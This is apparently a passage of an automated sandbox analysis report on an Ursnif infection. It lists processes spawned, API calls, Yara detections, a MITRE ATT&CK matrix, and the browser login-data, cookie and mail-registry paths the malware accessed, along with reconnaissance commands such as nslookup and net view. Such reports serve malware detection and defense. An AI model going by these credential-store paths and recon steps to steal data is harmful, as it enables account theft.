                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71E1.tmp" "c:\Users\user\AppData\Local\Temp\g2letrfe\CSC71DE0290BB9F401583CAD01729BF75D7.TMP"
                      Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net view
                      Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
                      Source: explorer.exe, 0000001D.00000000.530005367.00000000058B0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.582199033.00000000058B0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.520700422.0000000000D70000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                      Source: explorer.exe, 0000001D.00000000.520700422.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001D.00000000.569554059.0000000000778000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.573049423.0000000000D70000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                      Source: explorer.exe, 0000001D.00000000.520700422.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001D.00000000.573049423.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001D.00000000.522362138.0000000000D70000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                      Source: explorer.exe, 0000001D.00000000.520700422.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001D.00000000.573049423.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001D.00000000.522362138.0000000000D70000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB12D3 cpuid 4_2_04AB12D3
                      Source: C:\Windows\SysWOW64\rundll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB5410 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,4_2_04AB5410
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB12D3 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,4_2_04AB12D3
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD4DF5 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError,4_2_05DD4DF5
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB515F CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,4_2_04AB515F

                      Stealing of Sensitive Information

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436099354.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742734831.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387911041.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387848554.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743014164.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387690686.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742810151.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388080339.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742565489.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742635161.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388156099.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387614709.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.433046999.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388142124.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.438809080.000000000542C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743129288.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742454861.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742926350.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387950801.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000002.744378617.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742968366.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 2588, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6856, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: control.exe PID: 6468, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4504, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 3932, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4712, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 2880, type: MEMORYSTR
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.4ab0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000028.00000000.604999946.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.507197742.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741896221.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.667078163.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741217358.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.703035684.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.622907247.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.564167327.0000000004E39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.504046961.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.686963959.0000019853F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.569771687.00000000052AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436035470.00000000055A9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.603233146.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.606133763.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.505634538.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.619033467.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.740581278.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.654783377.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.615194902.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.661830136.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.698826675.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.435816444.000000000552A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.695593372.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Tries to steal Mail credentials (via file / registry access)
                      Source: C:\Windows\explorer.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
                      Source: C:\Windows\explorer.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
                      Tries to harvest and steal browser information (history, passwords, etc)
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\appdata\local\google\chrome\user data\default\login data
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000004
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_2
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_3
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\index
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\appData\local\microsoft\edge\user data\default\login data
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_0
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_1
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000001
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\appdata\local\google\chrome\user data\default\cookies
                      Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000003

                      Remote Access Functionality

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436099354.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742734831.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387911041.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387848554.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743014164.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387690686.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742810151.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388080339.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742565489.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742635161.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388156099.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387614709.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.433046999.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388142124.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.438809080.000000000542C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743129288.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742454861.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742926350.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387950801.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000002.744378617.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742968366.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 2588, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6856, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: control.exe PID: 6468, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4504, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 3932, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4712, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 2880, type: MEMORYSTR
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.4ab0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000028.00000000.604999946.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.507197742.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741896221.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.667078163.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741217358.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.703035684.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.622907247.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.564167327.0000000004E39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.504046961.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.686963959.0000019853F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.569771687.00000000052AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436035470.00000000055A9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.603233146.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.606133763.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.505634538.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.619033467.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.740581278.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.654783377.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.615194902.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.661830136.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.698826675.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.435816444.000000000552A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.695593372.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      1
                      Valid Accounts                      		1
                      Windows Management Instrumentation                      		1
                      Valid Accounts                      		1
                      Valid Accounts                      		1
                      Obfuscated Files or Information                      		1
                      OS Credential Dumping                      		1
                      System Time Discovery                      		Remote Services11
                      Archive Collected Data                      		Exfiltration Over Other Network Medium2
                      Ingress Tool Transfer                      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
                      Data Encrypted for Impact
                      Default Accounts2
                      Native API                      		Boot or Logon Initialization Scripts1
                      Access Token Manipulation                      		1
                      File Deletion                      		3
                      Credential API Hooking                      		1
                      Account Discovery                      		Remote Desktop Protocol1
                      Data from Local System                      		Exfiltration Over Bluetooth2
                      Encrypted Channel                      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain Accounts1
                      Command and Scripting Interpreter                      		Logon Script (Windows)813
                      Process Injection                      		4
                      Rootkit                      		Security Account Manager3
                      File and Directory Discovery                      		SMB/Windows Admin Shares11
                      Email Collection                      		Automated Exfiltration3
                      Non-Application Layer Protocol                      		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
                      Masquerading                      		NTDS26
                      System Information Discovery                      		Distributed Component Object Model3
                      Credential API Hooking                      		Scheduled Transfer13
                      Application Layer Protocol                      		SIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                      Valid Accounts                      		LSA Secrets1
                      Query Registry                      		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.common1
                      Access Token Manipulation                      		Cached Domain Credentials11
                      Security Software Discovery                      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup Items31
                      Virtualization/Sandbox Evasion                      		DCSync31
                      Virtualization/Sandbox Evasion                      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job813
                      Process Injection                      		Proc Filesystem3
                      Process Discovery                      		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
                      Rundll32                      		/etc/passwd and /etc/shadow1
                      Application Window Discovery                      		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
                      Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork Sniffing1
                      System Owner/User Discovery                      		Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
                      Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronRight-to-Left OverrideInput Capture21
                      Remote System Discovery                      		Replication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop
                      Compromise Software Supply ChainUnix ShellLaunchdLaunchdRename System UtilitiesKeylogging4
                      System Network Configuration Discovery                      		Component Object Model and Distributed COMScreen CaptureExfiltration over USBDNSInhibit System Recovery

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
